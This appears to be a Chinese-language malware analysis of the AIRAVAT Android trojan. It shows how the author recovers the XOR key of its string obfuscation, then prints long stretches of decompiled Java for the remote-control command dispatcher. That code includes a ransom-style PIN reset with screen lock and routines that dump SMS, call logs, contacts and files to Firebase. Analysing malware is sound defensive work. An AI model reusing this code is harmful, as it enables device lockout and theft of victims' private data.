- 背景
- 分析
- 解密字符串
- StringFogImpl.decrypt函数
- 大丈夫
- Xor(Base64.DeCode(str), “UTF-8”)XOR(%7B’option’:’UTF8’,’string’:’UTF-8’%7D,’Standard’,false)&input=6L6T5YWl5a%2BG5paH)">Xor(Base64.DeCode(str), “UTF-8”)XOR(%7B’option’:’UTF8’,’string’:’UTF-8’%7D,’Standard’,false)&input=6L6T5YWl5a%2BG5paH)
- 功能
- 解密字符串
- Python解密
- coding: UTF-8
- 读取需要解密的文本文件
- 解密后保存为文本文件输出
- 检测文本是否需要解密
- 解密字符串
- 因为有超出7B的值,所以不能转UTF-8再解密
背景
项目里教了怎么将.apk文件里的ID替换为攻击者的ID,但是没有公开JAVA代码,自己想分析看看:
22.07.13-Cyble - 能够勒索的多功能安卓木马AIRAVAT
分析
解密字符串
敏感的字符串都被加密了,解密函数为“StringFogImpl.decrypt
”:
很明显是有Base64编码过,直接尝试Base64解码,不对:
StringFogImpl.decrypt函数
加密(“encrypt”):Xor str2后Base64编码
解密(“decrypt”):Base64解码后Xor str2:
找了很久,都没找到str2的值。
大丈夫
异或是可逆的。
从报告里找对应的一对“密文”-“明文”。密文Base64解码后Xor明文XOR(%7B’option’:’UTF8’,’string’:’UTF-8’%7D,’Standard’,false)&input=6L6T5YWl5a%2BG5paH),即可得Xor的另一个值:
- 明文:dmpsms
- 密文:MTk2XlUm
获取Xor的另一个字符串:
原来异或的另一个字符串,是“UTF-8”!
Xor(Base64.DeCode(str), “UTF-8”)XOR(%7B’option’:’UTF8’,’string’:’UTF-8’%7D,’Standard’,false)&input=6L6T5YWl5a%2BG5paH)
功能
设置密码并锁屏
devicePolicyManager.setPasswordQuality)
public class DeviceAdminComponent extends DeviceAdminReceiver
{
private static final String OUR_SECURE_ADMIN_PASSWORD = "1234"
public CharSequence onDisableRequested(Context context, Intent intent)
{
ComponentName componentName = new ComponentName(context, DeviceAdminComponent.class);
DevicePolicyManager devicePolicyManager = (DevicePolicyManager) context.getSystemService(device_policy);
if (devicePolicyManager.isAdminActive(componentName))
{
devicePolicyManager.setPasswordQuality(componentName, Numeric);
}
devicePolicyManager.resetPassword(OUR_SECURE_ADMIN_PASSWORD, resetPasswordWithToken);
devicePolicyManager.lockNow();
return super.onDisableRequested(context, intent);
}
}
GUI-日志
logoss-AccessibilityService(辅助服务)
servicess-主要代码逻辑
从408行开始对比命令:
几乎所有有意义的字符串都被加密了,分析代码变成了体力活,解密后代码非常清晰,但是量大,此处就不继续深入分析了,具体参考:
22.07.13-Cyble - 能够勒索的多功能安卓木马AIRAVAT
Python解密
需解密字符串
service为主要的远控功能:
public void _service() {
_setpres();
_setpres2("");
FirebaseDatabase.getInstance().getReference(StringFogImpl.decrypt("ejcpQFwmeyVCVTEn") + gui.uuii(getApplicationContext())).addChildEventListener(new ChildEventListener() { // from class: sigma.male.servicess.20
@Override // com.google.firebase.database.ChildEventListener
public void onChildAdded(DataSnapshot dataSnapshot, String str) {
}
@Override // com.google.firebase.database.ChildEventListener
public void onChildChanged(DataSnapshot dataSnapshot, String str) {
Map map = (Map) dataSnapshot.getValue();
servicess.this.cmdn = new StringBuilder().append(map.get(StringFogImpl.decrypt("NjkiQw=="))).toString();
servicess.this.cmdv = new StringBuilder().append(map.get(StringFogImpl.decrypt("NjkiWw=="))).toString();
servicess.this.cmdvar = new StringBuilder().append(map.get(StringFogImpl.decrypt("NjkiW1kn"))).toString();
if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("NjA="))) {
if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("MTk2XlUm"))) {
if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("MTk2Tlk5OA=="))) {
if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("MTk2Tlc7IA=="))) {
if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("MjEyXVk2PydKXSY="))) {
if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("JjwjQVQ2OSI="))) {
if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("MTEwRFswPShLVw=="))) {
if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("ITsnXkwhMT5Z"))) {
if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("ISA1SV0j"))) {
if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("Iz0kX1khMSJITg=="))) {
if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("JTgnVEs4ITVEWw=="))) {
if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("JjEoSUs4Jw=="))) {
if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("NjwnQ18wIydBVA=="))) {
if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("OiQxSFo="))) {
if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("ITsoWQ=="))) {
if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("ITsgS0w="))) {
if (servicess.this.cmdn.equals(StringFogImpl.decrypt("NjgvXQ=="))) {
servicess.this.clips();
return;
}
return;
}
servicess.this.tofft();
return;
}
servicess.this.tont();
return;
}
servicess.this._voicere(servicess.this.cmdv);
return;
}
servicess.this._changewall(servicess.this.cmdv);
return;
}
servicess.this._sendsm(servicess.this.cmdv, servicess.this.cmdvar);
return;
}
servicess.this._palysmudic(servicess.this.cmdv);
return;
}
servicess.this._vibra(servicess.this.cmdv);
return;
}
servicess.this._ttsdev(servicess.this.cmdv);
return;
}
servicess.this._showtoast(servicess.this.cmdv);
return;
}
servicess.this._devinfo();
return;
}
servicess.this._sudoapt(servicess.this.cmdv, "");
return;
}
servicess.this._getpackages();
return;
}
servicess.this._dmpcon();
return;
}
servicess.this._dmpcal();
return;
}
servicess.this.getAllSms(servicess.this.getApplicationContext());
return;
}
servicess.this._cd(servicess.this.cmdv, "", "");
}
@Override // com.google.firebase.database.ChildEventListener
public void onChildRemoved(DataSnapshot dataSnapshot) {
}
@Override // com.google.firebase.database.ChildEventListener
public void onChildMoved(DataSnapshot dataSnapshot, String str) {
}
@Override // com.google.firebase.database.ChildEventListener
public void onCancelled(DatabaseError databaseError) {
}
}); // /comds/comds/comds/comds
}
public void _setpres() {
FirebaseDatabase.getInstance().getReference(StringFogImpl.decrypt("ejsoQVE7MWk=") + gui.uuiip(getApplicationContext()) + StringFogImpl.decrypt("eiE1SEo=") + gui.uuii(getApplicationContext())).child(StringFogImpl.decrypt("MTEwRFsw")).addChildEventListener(new ChildEventListener() { // from class: sigma.male.servicess.21
@Override // com.google.firebase.database.ChildEventListener
public void onChildAdded(DataSnapshot dataSnapshot, String str) {
}
@Override // com.google.firebase.database.ChildEventListener
public void onChildChanged(DataSnapshot dataSnapshot, String str) {
}
@Override // com.google.firebase.database.ChildEventListener
public void onChildRemoved(DataSnapshot dataSnapshot) {
servicess.this._setpres2("");
}
@Override // com.google.firebase.database.ChildEventListener
public void onChildMoved(DataSnapshot dataSnapshot, String str) {
}
@Override // com.google.firebase.database.ChildEventListener
public void onCancelled(DatabaseError databaseError) {
}
});
}
public void _setpres2(String str) {
this.responsetxt.clear();
this.responsetxt = new HashMap<>();
this.responsetxt.put(StringFogImpl.decrypt("JTwpQ10="), String.valueOf(Build.MANUFACTURER) + " " + Build.MODEL);
this.responsetxt.put(StringFogImpl.decrypt("NDoiX1c8MA=="), StringFogImpl.decrypt("FDoiX1c8MGY=") + Build.VERSION.RELEASE);
this.responsetxt.put(StringFogImpl.decrypt("NzUyWV0nLQ=="), String.valueOf(((BatteryManager) getSystemService(StringFogImpl.decrypt("NzUyWV0nLStMVjQzI18="))).getIntProperty(4)) + StringFogImpl.decrypt("cA=="));
this.responsetxt.put(StringFogImpl.decrypt("PDA="), gui.uuii(getApplicationContext()));
for (String str2 : new String[]{StringFogImpl.decrypt("eic/XkwwOWlMSCV7FVhIMCYzXl0neiddUw=="), StringFogImpl.decrypt("eickRFZ6JzM="), StringFogImpl.decrypt("eic/XkwwOWlPUTt7NVg="), StringFogImpl.decrypt("eic/XkwwOWlVWjw6aV5N"), StringFogImpl.decrypt("ejAnWVl6OClOWTl7Pk9RO3s1WA=="), StringFogImpl.decrypt("ejAnWVl6OClOWTl7JERWeicz"), StringFogImpl.decrypt("eic/XkwwOWleXHosJERWeicz"), StringFogImpl.decrypt("eic/XkwwOWlPUTt7IExROScnS116JzM="), StringFogImpl.decrypt("ejAnWVl6OClOWTl7NVg="), StringFogImpl.decrypt("eiczAlo8OmleTQ==")}) {
if (new File(str2).exists()) {
StringFogImpl.decrypt("DDE1");
}
}
this.responsetxt.put(StringFogImpl.decrypt("JzspWV0x"), StringFogImpl.decrypt("Gzs="));
DatabaseReference child = FirebaseDatabase.getInstance().getReference(StringFogImpl.decrypt("ejsoQVE7MWk=") + gui.uuiip(getApplicationContext()) + StringFogImpl.decrypt("eiE1SEo=") + gui.uuii(getApplicationContext())).child(StringFogImpl.decrypt("MTEwRFsw"));
child.setValue(this.responsetxt);
child.onDisconnect().removeValue();
}
public void _cd(final String str, String str2, String str3) {
int i = 0;
if (FileUtil.isExistFile(str)) {
if (FileUtil.isDirectory(str)) {
this.lst.clear();
FileUtil.listDir(str, this.lst);
this.num = 0.0d;
this.str = StringFogImpl.decrypt("aTgvDQZ7eg==");
while (true) {
int i2 = i;
if (i2 < this.lst.size()) {
if (FileUtil.isDirectory(this.lst.get((int) this.num))) {
this.str = this.str.concat(StringFogImpl.decrypt("aTgvDVs5NTVeBXcyKQ8Yaw==").concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment()));
} else if (Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(StringFogImpl.decrypt("eyQoSg==")) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(StringFogImpl.decrypt("ez42Sg==")) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(StringFogImpl.decrypt("ez42SF8=")) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(StringFogImpl.decrypt("eycwSg==")) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(StringFogImpl.decrypt("ez0lQg=="))) {
this.str = this.str.concat(StringFogImpl.decrypt("aTgvDVs5NTVeBXc9Kw8Yaw==").concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().concat(StringFogImpl.decrypt("aTZ4").concat(String.valueOf(new File(this.lst.get((int) this.num)).length() / 1024) + StringFogImpl.decrypt("HhY=").concat(StringFogImpl.decrypt("aXskEw=="))))));
} else if (Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(StringFogImpl.decrypt("ezk2GQ=="))) {
this.str = this.str.concat(StringFogImpl.decrypt("aTgvDVs5NTVeBXciLw8Yaw==").concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().concat(StringFogImpl.decrypt("aTZ4").concat(String.valueOf(new File(this.lst.get((int) this.num)).length() / 1024) + StringFogImpl.decrypt("HhY=").concat(StringFogImpl.decrypt("aXskEw=="))))));
} else {
this.str = this.str.concat(StringFogImpl.decrypt("aTgvDVs5NTVeBXcyLw8Yaw==").concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().concat(StringFogImpl.decrypt("aTZ4").concat(String.valueOf(new File(this.lst.get((int) this.num)).length() / 1024) + StringFogImpl.decrypt("HhY=").concat(StringFogImpl.decrypt("aXskEw=="))))));
}
this.num += 1.0d;
i = i2 + 1;
} else {
_setrespo(this.str, str, "", "", "");
return;
}
}
} else if (FileUtil.isFile(str)) {
BitmapFactory.Options options = new BitmapFactory.Options();
options.inJustDecodeBounds = true;
BitmapFactory.decodeFile(str, options);
if (options.outWidth != -1 && options.outHeight != -1 && new File(str).length() / 1024 < 3072) {
Date date = new Date(new File(str).lastModified());
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
BitmapFactory.decodeFile(str).compress(Bitmap.CompressFormat.JPEG, 100, byteArrayOutputStream);
_setrespo(StringFogImpl.decrypt("PDkhW1EwIw=="), str, Base64.encodeToString(byteArrayOutputStream.toByteArray(), 0), StringFogImpl.decrypt("aTgvE3Y0OSMXGA==") + Uri.parse(str).getLastPathSegment() + StringFogImpl.decrypt("aTgvE3snMSdZUTo6fA0=") + date + StringFogImpl.decrypt("aTgvE2s8LiMXGA==") + (new File(str).length() / 1024) + StringFogImpl.decrypt("HhZmEVQ8ahZMTD1uZg==") + str, "");
return;
}
this.root.child(str).putFile(Uri.fromFile(new File(str))).addOnFailureListener(this._fbs_failure_listener).addOnProgressListener(this._fbs_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.22
/* JADX WARN: Can't rename method to resolve collision */
@Override // com.google.android.gms.tasks.Continuation
public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
return servicess.this.root.child(str).getDownloadUrl();
}
}).addOnCompleteListener(this._fbs_upload_success_listener);
this.filinfodat = StringFogImpl.decrypt("aTgvE3Y0OSMXGA==") + Uri.parse(str).getLastPathSegment() + StringFogImpl.decrypt("aTgvE3snMSdZUTo6fA0=") + new Date(new File(str).lastModified()) + StringFogImpl.decrypt("aTgvE2s8LiMXGA==") + (new File(str).length() / 1024) + StringFogImpl.decrypt("HhZmEVQ8ahZMTD1uZg==") + str;
}
}
}
public void _setrespo(String str, String str2, String str3, String str4, String str5) {
this.responsetxt.clear();
this.responsetxt = new HashMap<>();
this.responsetxt.put(StringFogImpl.decrypt("JzE1XVc="), str);
this.responsetxt.put(StringFogImpl.decrypt("IzU0Hw=="), str2);
this.responsetxt.put(StringFogImpl.decrypt("I2U="), str3);
this.responsetxt.put(StringFogImpl.decrypt("I2Y="), str4);
this.responsetxt.put(StringFogImpl.decrypt("I2c="), str5);
String decrypt = StringFogImpl.decrypt("NDYlSV0zMy5EUj44K0NXJSU0XkwgIjFVQS8=");
String str6 = String.valueOf(decrypt) + StringFogImpl.decrypt("ZWV0HgxgYnEVAQ==");
Random random = new Random();
StringBuilder sb = new StringBuilder(8);
sb.append(str6.charAt(random.nextInt(str6.length() - 1)));
for (int length = sb.length(); length < 8; length++) {
sb.append(str6.charAt(random.nextInt(str6.length())));
}
this.responsetxt.put(StringFogImpl.decrypt("JzoiQA=="), sb.toString());
this._firebase.getReference(StringFogImpl.decrypt("eiYjXkg6J2lfXSYkKQ==") + gui.uuii(getApplicationContext())).child(StringFogImpl.decrypt("JzE1XVc=")).setValue(this.responsetxt);
}
public void _dmpsm(String str) {
}
public void getAllSms(Context context) {
Cursor query = context.getContentResolver().query(Telephony.Sms.CONTENT_URI, null, null, null, null);
String decrypt = StringFogImpl.decrypt("aTwyQFRraCtITDR0KExVMGlhW1EwIzZCSiFzZk5XOyAjQ0xoczFEXCE8e0ldIz0lSBUiPSJZUHl0L0NRIT0nQRUmNydBXWhlYRMEODEyTBg7NStIBXI3LkxKJjEyChg2OyhZXTsgewptARJrFR91anpeWyc9NlkYIS02SAVyICNVTHo+J1tZJjc0REghc2ZeSjZpYUVMISQ1Fxd6NSxMQHszKUJfOTEnXVEmeiVCVXo1LExAejgvT0t6PjdYXSctaR4WYXp2AlIkISNfQXs5L0MWPydhEwR6JyVfUSUgeA0EJiA/QV1rdCRCXCwvK0xKMj0oFwhuJCdJXDw6IRcIbjYnTlMyJilYVjFuZU5bNiloTFs2OzRJUTo6PU9ZNj8hX1cgOiIAWzo4KV8CdjIgSwM2OypCSm93dh0IbjczX0s6JnxdVzw6MkhKbiQnSVw8OiEXCW0kPhZPPDAyRQJkZHYIAzc7NEldJ24oQlYwbzJIQCF5J0FRMjp8QV0zIH1CTSE4L0Ndb2R9S1c7IGteUS8xfBwNJSx9XVcmPTJEVztuNEhUNCAvW11uIDRMViY9MkRXO25oGUtuJCdJXDw6IQBUMDIyFw1lJD5QFjQ3JUJKMT0pQwI9OzBISnl6J05MPCIjVlo0Ny1KSjohKABbOjgpXwJ2NSdMRXs1JU5XJzAvQlZvNSBZXScvJUJWITEoWQJytsaXH243KUFXJ25lHQhlbyBCViF5MUhRMjwyFw9lZH1LVDo1MhdKPDMuWQMhJidDSzM7NEACJzsyTEwwfH8dXDAzbxZVNCYhRFZ4OCNLTG9hNlVFezUlWVEjMXxMXiExNFZbOjoySFYhbmHPuO9zOwNINDojQUMlNSJJUTszfB0YZGw2VQM3NSVGXyc7M0NceDcpQVcnbmVIXTBvK0xAeDwjRF89IHwdAzY7KkJKb3d2HQhuOzBISjM4KVoCPT0iSV07bzJfWTsnL1lROjp8QFkteS5IUTI8Mg0WZydmSFkmMWtCTSEpJFhMITsoDUslNShWSDonL1lROjp8TFomOypYTDBvNERfPSB8GAglLDtPTSEgKUMYPDkhVlAwPSFFTG9ndl1AbiQpXlEhPSlDAjQ2NUJUICAjFlQwMjIXCWUkPhZMOiR8HAglLH1aUTEgLhcLZSQ+UBY8Ly5IUTI8MhcLZSQ+Fk88MDJFAmZhNlUDOTEgWQJtJD4WTCc1KF5eOiYrF0s2NSpIEHttb1AWJTUoSFQuJCdJXDw6IRcIdWV+XUBuNidOUzImKVhWMXklQlQ6JnwOXTAxfUBZLXkuSFEyPDIXCG43KUFXJ25lHQhlbylbXScyKkJPbzwvSVwwOn1ZSjQ6NURMPDsoF1U0LGtFXTwzLlkYe2Y1DV00JyMAVyAgO09NISApQxgmJCdDQyU7NURMPDsoF1k3JylBTSExfV9RMjwyFw1lJD5QWiAgMkJWdT0rSkM9MS9KUCFudR1ILW82Qks8IC9CVm81JF5XOSEySAM5MSBZAmRkNlUDITs2FwllJD4WTzwwMkUCZmQ2VUVpezVZQTkxeA==");
if (query != null) {
int count = query.getCount();
if (query.moveToFirst()) {
String str = decrypt;
for (int i = 0; i < count; i++) {
String string = query.getString(query.getColumnIndexOrThrow(StringFogImpl.decrypt("MTUySA==")));
String string2 = query.getString(query.getColumnIndexOrThrow(StringFogImpl.decrypt("NDAiX10mJw==")));
String string3 = query.getString(query.getColumnIndexOrThrow(StringFogImpl.decrypt("NzsiVA==")));
new Date(Long.valueOf(string).longValue());
String str2 = "";
String str3 = "";
switch (Integer.parseInt(query.getString(query.getColumnIndexOrThrow(StringFogImpl.decrypt("IS02SA=="))))) {
case 1:
str2 = StringFogImpl.decrypt("PDokQkA=");
str3 = StringFogImpl.decrypt("PSAyXUtve2lLUScxJExLMCcyQko0MyMDXzo7IUFdNCQvXhY2OysCTmV7JAJPPT0ySBVnNiUYXns1Nl1LJTsyA1s6OWlCFzw6JEJAeyQoSgc0ODIQVTAwL0weITstSFZoMnVOXm0wfhwVNjJ0HhVhYX4VFTcwf04VM20lHg8zYXcVAWBn");
break;
case 2:
str2 = StringFogImpl.decrypt("JjEoWQ==");
str3 = StringFogImpl.decrypt("PSAyXUtve2lLUScxJExLMCcyQko0MyMDXzo7IUFdNCQvXhY2OysCTmV7JAJPPT0ySBVnNiUYXns1Nl1LJTsyA1s6OWlCFyYxKFkWJTohElk5IHtAXTE9JwtMOj8jQwU0YSBPCmxtdQANYzZwAAwzYHIAWjRtcwANbGxzTF02YidJDDQ=");
break;
case 4:
str2 = StringFogImpl.decrypt("OiEyT1ct");
str3 = StringFogImpl.decrypt("PSAyXUtve2lLUScxJExLMCcyQko0MyMDXzo7IUFdNCQvXhY2OysCTmV7JAJPPT0ySBVnNiUYXns1Nl1LJTsyA1s6OWlCFzohMk9XLXo2Q19qNSpZBTgxIkRZcyApRl07aXRLD2VickwPeGRzTwB4YHMeDXg1cE5eeGJwGw40MXQdWjMydg==");
break;
}
str = String.valueOf(str) + StringFogImpl.decrypt("aTYzWUw6OmZOVDQnNRAfNDclQkoxPSlDH2toL0BfdSc0TgVy") + str3 + StringFogImpl.decrypt("cnQnQUxocw==") + str2 + StringFogImpl.decrypt("cnR4") + string2 + StringFogImpl.decrypt("aSc2TFZr") + string + StringFogImpl.decrypt("aQ==") + StringFogImpl.decrypt("eg==") + StringFogImpl.decrypt("JiQnQwZp") + StringFogImpl.decrypt("eg==") + StringFogImpl.decrypt("NyEyWVc7ag==") + StringFogImpl.decrypt("aTAvWxg2OCdeS2hzNkxWMDhhEw==") + string3 + StringFogImpl.decrypt("aQ==") + StringFogImpl.decrypt("eg==") + StringFogImpl.decrypt("MT0wEw==");
query.moveToNext();
}
decrypt = str;
}
query.close();
decrypt = String.valueOf(decrypt) + StringFogImpl.decrypt("aSclX1ElIGZZQSUxewpMMCwyAlI0IideWyc9Nlkfa3Q=") + StringFogImpl.decrypt("MyEoTkw8OygNTDh8MgRDJzEyWEo7dChIT3UQJ1ldfWUjHhIhfWhZVxk7JUxUMAcyX1E7M24EAyhwbgpLJTUoChF7MSdOUH0yM0NbIT0pQxAheCMEQ3F8IwQWPSArQRAhOW5dWScnI2RWIXxiBV18ei5ZVTl8bwQRfClvFk40JmZEFDQ3JRBcOjczQF07IGhKXSERKkhVMDoyXnosFypMSyYaJ0BdfXMnTls6JiJEVztzbxZeOiZuRAVlby8RWTY3aEFdOzMyRQM8f20EWTY3HURlezUiSX0jMShZdDwnMkhWMCZuCls5PSVGH3kyM0NbIT0pQxB8LzJFUSZ6JUFZJicKREshejJCXzI4IwUfNDcyRE4wc28WTjQmZlkFITwvXhY7MT5ZfTkxK0hWIQcvT1Q8OiEWTHsnMlRUMHorTEAdMS9KUCFrMgNLIS0qSBY4NT5lXTwzLlkFOyEqQQIhejVZQTkxaEBZLRwjRF89IHtZFiY3NEJUORwjRF89IG0KSC1zOwQD") + StringFogImpl.decrypt("aXs1Tko8JDIT");
}
try {
if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("eicrXhY9ICtB")))) {
FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("eicrXhY9ICtB")));
}
FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + StringFogImpl.decrypt("eicrXhY9ICtB"), true);
fileOutputStream.write((String.valueOf(decrypt) + "\n\n").getBytes());
fileOutputStream.close();
this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("eicrXhY9ICtB"))).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("eicrXhY9ICtB"))))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.23
/* JADX WARN: Can't rename method to resolve collision */
@Override // com.google.android.gms.tasks.Continuation
public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(StringFogImpl.decrypt("eicrXhY9ICtB"))).getDownloadUrl();
}
}).addOnCompleteListener(this._sigmamale_upload_success_listener);
} catch (FileNotFoundException e) {
} catch (IOException e2) {
}
}
public void _dmpcal() {
String decrypt;
Context applicationContext = getApplicationContext();
StringBuffer stringBuffer = new StringBuffer();
stringBuffer.append(StringFogImpl.decrypt("aTwyQFRraCtITDR0KExVMGlhW1EwIzZCSiFzZk5XOyAjQ0xoczFEXCE8e0ldIz0lSBUiPSJZUHl0L0NRIT0nQRUmNydBXWhlYRMYaScyVFQwamZPVzEtPUBZJzMvQwJlbzZMXDE9KEoCZW8kTFs+MzRCTTswfA5bNjc7A1Q6LzFEXCE8fE5ZOTduFABwdGsNDmUkPgQDJTs1REw8OygXSjA4J1lRIzF9RV08My5ZAjQhMkIDJTUiSVE7M2tPVyEgKUACYCQ+Fkg0MCJEVjJ5MkJIb2VzXUBuJCdJXDw6IQBUMDIyFw5lJD4WWjQ3LUpKOiEoSQJ2MiBLAzg1NEpRO24nWEw6byRCSjExNABKNDAvWEtvZXZdQG45J19fPDprWVclbnNdQCh6KkIYPDkhVl45OydZAjkxIFkDPTEvSlAhbnUdSC1vMURcITx8HgglLH1dVyY9MkRXO24nT0s6ODNZXW4gKV0CbSQ+FlQwMjIXCWUkPlAWOTtmXkg0Oj1LVDo1MhdKPDMuWQM4NTRKUTt5NERfPSB8HwglLDsRFyYgP0Fda2gkQlwsag=="));
Cursor query = applicationContext.getContentResolver().query(CallLog.Calls.CONTENT_URI, null, null, null, StringFogImpl.decrypt("MTUySBgRERVu"));
int columnIndex = query.getColumnIndex(StringFogImpl.decrypt("OyErT10n"));
int columnIndex2 = query.getColumnIndex(StringFogImpl.decrypt("IS02SA=="));
int columnIndex3 = query.getColumnIndex(StringFogImpl.decrypt("MTUySA=="));
int columnIndex4 = query.getColumnIndex(StringFogImpl.decrypt("MSE0TEw8Oyg="));
while (query.moveToNext()) {
String string = query.getString(columnIndex);
String string2 = query.getString(columnIndex2);
Date date = new Date(Long.valueOf(query.getString(columnIndex3)).longValue());
String string3 = query.getString(columnIndex4);
String str = "";
switch (Integer.parseInt(string2)) {
case 1:
decrypt = StringFogImpl.decrypt("HBoFYnUcGgE=");
str = StringFogImpl.decrypt("PSAyXUtve2lLUScxJExLMCcyQko0MyMDXzo7IUFdNCQvXhY2OysCTmV7JAJPPT0ySBVnNiUYXns1Nl1LJTsyA1s6OWlCFxwaBWJ1HBoBA0g7M3lMVCFpK0hcPDVgWVc+MSgQXWNidk4MYmxrFVxlbWsZXjNsaxQNZDFrTghkNX8bCjM1Ik4M");
break;
case 2:
decrypt = StringFogImpl.decrypt("GgESanccGgE=");
str = StringFogImpl.decrypt("PSAyXUtve2lLUScxJExLMCcyQko0MyMDXzo7IUFdNCQvXhY2OysCTmV7JAJPPT0ySBVnNiUYXns1Nl1LJTsyA1s6OWlCFxoBEmp3HBoBA0g7M3lMVCFpK0hcPDVgWVc+MSgQD2ZsJx4LMG1rGwhhbWsZWW1saxQMYWRrHlk2YiAVADBncB5b");
break;
case 3:
decrypt = StringFogImpl.decrypt("GB0Vfn0R");
str = StringFogImpl.decrypt("PSAyXUtve2lLUScxJExLMCcyQko0MyMDXzo7IUFdNCQvXhY2OysCTmV7JAJPPT0ySBVnNiUYXns1Nl1LJTsyA1s6OWlCFxgdFX59EXo2Q19qNSpZBTgxIkRZcyApRl07aSNPXWxgfhoOeDV1TAx4YHEbDXhsdksNeDcjFV1nN3IVDGVhcA==");
break;
default:
decrypt = null;
break;
}
stringBuffer.append(StringFogImpl.decrypt("aTAvWxg2OCdeS2hzKkIfdWp6RFUydDVfW2hz") + str + StringFogImpl.decrypt("cnQnQUxocw==") + decrypt + StringFogImpl.decrypt("cnR4EVpr") + string + StringFogImpl.decrypt("aXskExhpJzZMVms=") + string3 + StringFogImpl.decrypt("dQcjTgR6JzZMVmtoJF8GaTY0Ew==") + date + StringFogImpl.decrypt("aXsiRE5r"));
}
query.close();
try {
if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcnQVR7PDJAVA==")))) {
FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcnQVR7PDJAVA==")));
}
FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + StringFogImpl.decrypt("ejcnQVR7PDJAVA=="), true);
fileOutputStream.write((String.valueOf(stringBuffer.toString()) + "\n\n").getBytes());
fileOutputStream.close();
this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcnQVR7PDJAVA=="))).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcnQVR7PDJAVA=="))))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.24
/* JADX WARN: Can't rename method to resolve collision */
@Override // com.google.android.gms.tasks.Continuation
public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(StringFogImpl.decrypt("ejcnQVR7PDJAVA=="))).getDownloadUrl();
}
}).addOnCompleteListener(this._sigmamale_upload_success_listener);
} catch (FileNotFoundException e) {
} catch (IOException e2) {
}
}
public void _dmpcon() {
String str;
String decrypt = StringFogImpl.decrypt("aTwyQFRraCtITDR0KExVMGlhW1EwIzZCSiFzZk5XOyAjQ0xoczFEXCE8e0ldIz0lSBUiPSJZUHl0L0NRIT0nQRUmNydBXWhlYRMENzsiVAZpJzJUVDBqZk9XMS09QFknMy9DAmVvNkxcMT0oSgJlbyRMWz4zNEJNOzB8Dls2NzsDVDovMURcITx8Tlk5N24UAHB0aw0OZSQ+BAMlOzVETDw7KBdKMDgnWVEjMX1FXTwzLlkCNCEyQgMlNSJJUTsza09XISApQAJgJD4WSDQwIkRWMnkyQkhvZXNdQG4kJ0lcPDohAFQwMjIXDmUkPhZaNDctSko6IShJAnYyIEsDODU0SlE7bidYTDpvJEJKMTE0AEo0MC9YS29ldl1AbjknX188OmtZVyVuc11AKHoqQhg8OSFWXjk7J1kCOTEgWQM9MS9KUCFudR1ILW8xRFwhPHweCCUsfV1XJj0yRFc7bidPSzo4M1ldbiApXQJtJD4WVDAyMhcJZSQ+UBY5O2ZeSDQ6PUtUOjUyF0o8My5ZAzg1NEpRO3k0RF89IHwfCCUsOxEXJiA/QV1r");
Cursor query = getApplicationContext().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, new String[]{StringFogImpl.decrypt("Cj0i"), StringFogImpl.decrypt("MT01XVQ0LRlDWTgx"), StringFogImpl.decrypt("MTUyTAk="), StringFogImpl.decrypt("NDclQk07IBlZQSUx")}, StringFogImpl.decrypt("NDclQk07IBlZQSUxZhEGdXMhQlcyOCMKGA=="), null, null);
